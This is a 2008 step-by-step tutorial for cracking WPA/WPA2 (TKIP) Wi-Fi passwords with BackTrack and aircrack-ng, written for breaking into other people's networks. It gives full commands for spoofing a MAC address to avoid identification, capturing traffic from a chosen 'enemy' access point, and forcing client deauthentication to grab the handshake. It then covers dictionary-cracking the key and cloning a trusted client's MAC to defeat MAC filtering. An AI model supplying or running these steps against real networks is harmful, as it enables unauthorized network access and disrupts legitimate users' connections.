

## **WPA2/WPA Hack MAC filtered or not**

### **Basics:**

Software: BackTrack Remote Exploit V3  
Download: <http://www.remote-exploit.org>  
Chipset: Atheros (Cisco Aironet 802.11 a/b/g / NEC  
WarpStar WL54AG, Netgear WG311T)

### **Constellation:**

- Boot from CD or HD with BT V3
- 64 MB free writeable Space
- 2 Shells (under Xwindows it's easier (startx))

If XWindows doesn't work, configure it with "xconf" or  
„xorgconfig --textmode“

### **Shortcuts:**

- BT = BackTrack
- MAC = MAC Address
- AP = Accesspoint
- CL = Client
- IFC = Interface (**here ath0 placeholder**)
- FILE = Log file 2 store the packets
- CH = Channel
- DIC = Dictionary File (.dic or .txt)

### **Foreword:**

This Hack is only working with the Brute Force method.  
My Core2Duo 3GHz hacks 420 Keys / Sec.  
It doesn't matter WPA or WPA2. For hacking it is the  
same. ONLY WPA2 encrypted as TKIP works. AES is  
incompatible!

### **General Conditions:**

- Accesspoint with good Signal
- one Client, who is connected to the AP.
- A Dictionary File

### **Hack it !**

#### **1) Wireless Device identification**

We want to know how our device is named in the System.  
Type „iwconfig“. With Atheros Chipsets the devices calls  
always athX.

#### **2) Fake that MAC! (optional)**

First, we fake our own MAC address. So nobody can  
identify us any more.  
*ifconfig IFC hw ether 00:11:22:33:44:55*

#### **3) Turn on Monitor Mode**

To get all the packages we put our device in the  
„Promiscuous Mode“  
First we kill the monitor mode on the ath0 device and  
create a new monitor device over the wifi0 device. After  
we created the monitor device, we can use the ath0.  
*airmon-ng stop ath0* (delete the monitor mode)  
*airmon-ng start wifi0* (start monitor mode auf ath0)

#### **4) What is online ? (SHELL 1)**

Search some AP's with already connected Clients.  
(you can see it in the bottom half of the screen, calls  
Stations and Clients)  
*airodump-ng -w FILE IFC*  
CTRL - C

#### **5) Choose your enemy (SHELL 1)**

Please remember the MAC address of the AP you want to  
hack. Remember also the channel number from the AP you  
want to hack.

Now we only want to collect the packages on that channel  
and we like to store that traffic in a CAP-file.

(DONT USE „-ivs“ Option!!)  
*airodump-ng -w FILE -c CH --bssid APMAC IFC*

#### **6) Waiting for a Handshake ! (SHELL 2)**

Ok .. now we can wait for a Handshake. (You can see it in  
the airodump-ng window SHELL 1). The "enemy" don't feel  
anything about. But this can take a long time. You have to  
wait for a client-reconnect from which you will get the  
handshake. But we can provoke a reconnect form a client.  
How can we provoke a reconnect? easy... we tell to the AP  
„Hello I am the client , and I want to disconnect.“ The real  
Client think „Shiit I am disconnected.. I must reconnect  
immediately!“ And we get the handshake we need and we  
store it in SHELL1

You can see it in the first line of SHELL1.  
So, if you want provoke a reconnect, type more then one  
times the following command. (wait 5-20s between)  
*aireplay-ng -0 1 -a AP\_MAC -c CL\_MAC IFC*

#### **7) Crack the key! (SHELL 1)**

Ok ... we got the handshake. Let's crack it! We compare the  
stored handshake in the .cap file with the dictionary file.  
*aircrack-ng -0 -x2 -w DIC FILE.cap*

#### **8) Connect to the hacked AP (SHELL2)**

With a MAC filtered AP you have to set a trusted MAC  
address from a client on your own card.  
*ifconfig IFC down hw ether CL\_MAC* (maybe reset IFC first)

and then connect to the AP:

For Mouse Lovers:  
*wlassistant*

For Shell Lovers:  
*iwconfig IFC essid AP\_NAME\_SSID mode Managed key  
s:KEY\_ASCII*

*ifconfig IFC up*  
*iwpriv IFC authmode 2* (to connect, LED flahing)  
*dhcpcd IFC* (to get a IP Adress)

2008 by Celly